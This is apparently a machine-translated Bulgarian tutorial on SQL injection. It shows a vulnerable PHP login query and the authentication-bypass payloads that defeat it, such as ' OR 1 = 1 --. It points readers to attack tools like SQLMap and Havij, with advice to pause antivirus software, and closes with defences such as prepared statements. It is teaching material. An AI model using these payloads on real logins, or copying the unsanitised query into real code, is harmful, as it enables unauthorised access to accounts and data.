Урок за SQL инжектиране: Как да учим с пример
Какво е SQL инжекция?
SQL Injection е атака, която отравя динамичните SQL изрази, за да коментира определени части от оператора или да добави условие, което винаги ще бъде вярно. Той се възползва от дефектите в дизайна на лошо проектирани уеб приложения, за да използва SQL изрази за изпълнение на злонамерен SQL код.
Данните са един от най-важните компоненти на информационните системи. Уеб приложенията, захранвани от бази данни, се използват от организацията за получаване на данни от клиенти. SQL е акронимът на Structured Query Language. Използва се за извличане и манипулиране на данни в базата данни.
Как работи SQL Injection Attack?
Типовете атаки, които могат да бъдат извършени с помощта на SQL инжектиране, варират в зависимост от типа двигател на базата данни. Атаката работи върху динамични SQL изрази. Динамично изявление е изявление, което се генерира по време на изпълнение с помощта на параметри парола от уеб формуляр или URI низ на заявка.
Пример за SQL инжектиране
Нека разгледаме просто уеб приложение с форма за влизане. Кодът за HTML формата е показан по-долу.
<form action=‘index.php’ method="post"> <input type="email" name="email" required="required"/> <input type="password" name="password"/> <input type="checkbox" name="remember_me" value="Remember me"/> <input type="submit" value="Submit"/> </form>
ТУК,
- Горният формуляр приема имейл адреса и паролата, след което ги изпраща на a PHP файл с име index.php.
- Има опция за съхраняване на сесията за вход в „бисквитка“. Заключихме това от квадратчето за отметка „remember_me“. Използва метода post за изпращане на данни. Това означава, че стойностите не се показват в URL.
Да предположим, че операторът в бекенда за проверка на потребителския идентификатор е както следва
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);
ТУК,
- Горният израз използва стойностите на
$_POST[]масив директно, без да ги дезинфекцирате. - Паролата е криптирана с помощта на MD5 алгоритъм.
Ще илюстрираме SQL инжекционна атака, използвайки sqlfiddle. Отворете URL http://sqlfiddle.com/ във вашия уеб браузър. Ще получите следния прозорец.
Забележка: ще трябва да напишете SQL изразите
Стъпка 1) Въведете този код в левия прозорец
CREATE TABLE `users` (
`id` INT NOT NULL AUTO_INCREMENT,
`email` VARCHAR(45) NULL,
`password` VARCHAR(45) NULL,
PRIMARY KEY (`id`));
insert into users (email,password) values ('m@m.com',md5('abc'));
Стъпка 2) Щракнете върху Създаване на схема
Стъпка 3) Въведете този код в десния прозорец
select * from users;
Стъпка 4) Щракнете върху Изпълнение на SQL. Ще видите следния резултат
Да предположим, че потребителските консумативи admin@admin.sys намлява 1234 като парола. Изявлението, което трябва да бъде изпълнено срещу базата данни, ще бъде
SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');
Горният код може да се използва чрез коментиране на частта за паролата и добавяне на условие, което винаги ще бъде вярно. Да предположим, че нападател въведе следното в полето за имейл адрес.
xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]
xxx за паролата.
Генерираният динамичен отчет ще бъде както следва.
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
ТУК,
- xxx@xxx.xxx завършва с единична кавичка, която допълва кавичката на низа
OR 1 = 1LIMIT 1 е условие, което винаги ще бъде вярно и ограничава върнатите резултати само до един запис.- — ' И ... е SQL коментар, който елиминира частта за паролата.
Копирайте горния SQL оператор и го поставете SQL FiddleИзпълнете текстовото поле на SQL, както е показано по-долу
Хакерска дейност: SQL инжектиране на уеб приложение
Имаме просто уеб приложение на http://www.techpanda.org/ който е уязвим на SQL Injection атаки само за демонстрационни цели. Кодът на HTML формата по-горе е взет от страницата за вход. Приложението осигурява основна сигурност, като дезинфекция на имейл полето. Това означава, че нашият горен код не може да се използва за заобикаляне на влизането.
За да заобиколим това, можем вместо това да използваме полето за парола. Диаграмата по-долу показва стъпките, които трябва да следвате
Да предположим, че нападателят предоставя следния вход
- Стъпка 1: Въведете xxx@xxx.xxx като имейл адрес
- Стъпка 2: Въведете xxx') ИЛИ 1 = 1 — ]
- Щракнете върху бутона Изпращане
- Ще бъдете насочени към таблото за управление
Генерираният SQL оператор ще бъде както следва
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');
Диаграмата по-долу илюстрира генерираното изявление.
ТУК,
- Изявлението интелигентно предполага, че се използва md5 криптиране
- Завършва единичните кавички и затварящата скоба
- Добавя условие към твърдението, което винаги ще бъде вярно
Като цяло, една успешна атака с SQL инжектиране се опитва да използва редица различни техники като демонстрираните по-горе, за да извърши успешна атака.
Други типове атаки чрез SQL инжектиране
SQL инжекциите могат да причинят повече вреда, отколкото просто чрез предаване на алгоритмите за влизане. Някои от атаките включват
- Изтриване на данни
- Актуализиране на данните
- Вмъкване на данни
- Изпълнение на команди на сървъра, които могат да изтеглят и инсталират злонамерени програми като троянски коне
- Експортиране на ценни данни като данни за кредитна карта, имейл и пароли към отдалечения сървър на нападателя
- Получаване на потребителски данни за вход и др
- SQL инжектиране на базата на бисквитки
- Базирано на грешки SQL инжектиране
- Сляпо SQL инжектиране
Горният списък не е изчерпателен; то просто ви дава представа какво представлява SQL инжектирането
Инструменти за автоматизация за SQL инжектиране
В горния пример използвахме техники за ръчна атака, базирани на обширните ни познания по SQL. Има автоматизирани инструменти, които могат да ви помогнат да извършите атаките по-ефективно и за възможно най-кратко време. Тези инструменти включват
- SQLMap – http://sqlmap.org/
- JSQL инжекция – https://tools.kali.org/vulnerability-analysis/jsql
Как да се предпазите от атаки чрез SQL инжектиране
Една организация може да приеме следната политика, за да се защити срещу атаки чрез SQL Injection.
- Въведеното от потребителя никога не трябва да се вярва – Винаги трябва да се дезинфекцира, преди да се използва в динамични SQL изрази.
- Съхранени процедури – те могат да капсулират SQL изразите и да третират целия вход като параметри.
- Подготвени отчети – подготвени изрази за работа, като първо създадете SQL израза, след което третирате всички изпратени потребителски данни като параметри. Това няма ефект върху синтаксиса на SQL оператора.
- Регулярни изрази – те могат да се използват за откриване на потенциален вреден код и премахването му преди изпълнение на SQL изразите.
- Права за потребителски достъп на връзка с база данни – само необходимите права за достъп трябва да се дават на използваните акаунти свържете се с базата данни. Това може да помогне за намаляване на това, което SQL операторите могат да изпълняват на сървъра.
- Съобщения за грешка – те не трябва да разкриват чувствителна информация и къде точно е възникнала грешка. Прости персонализирани съобщения за грешка като „Съжаляваме, имаме технически грешки. Свързали сме се с техническия екип. Моля, опитайте отново по-късно” може да се използва вместо показване на SQL изразите, които са причинили грешката.
Хакерска дейност: Използвайте Havij за SQL инжектиране
В този практически сценарий ще използваме програмата Havij Advanced SQL Injection, за да сканираме уебсайт за уязвимости.
Забележка: вашият антивирусна програма може да го маркира поради естеството му. Трябва да го добавите към списъка с изключения или да поставите на пауза антивирусния си софтуер.
Изображението по-долу показва главния прозорец за Havij
Горният инструмент може да се използва за оценка на уязвимостта на уеб сайт/приложение.
Oбобщение
- SQL Injection е тип атака, която използва лоши SQL изрази
- SQL инжектирането може да се използва за заобикаляне на алгоритмите за влизане, извличане, вмъкване и актуализиране и изтриване на данни.
- Инструментите за SQL инжектиране включват SQLMap, SQLPingи SQLSmack и др.
- Една добра политика за сигурност при писане на SQL израз може да помогне за намаляване на атаките с инжектиране на SQL.








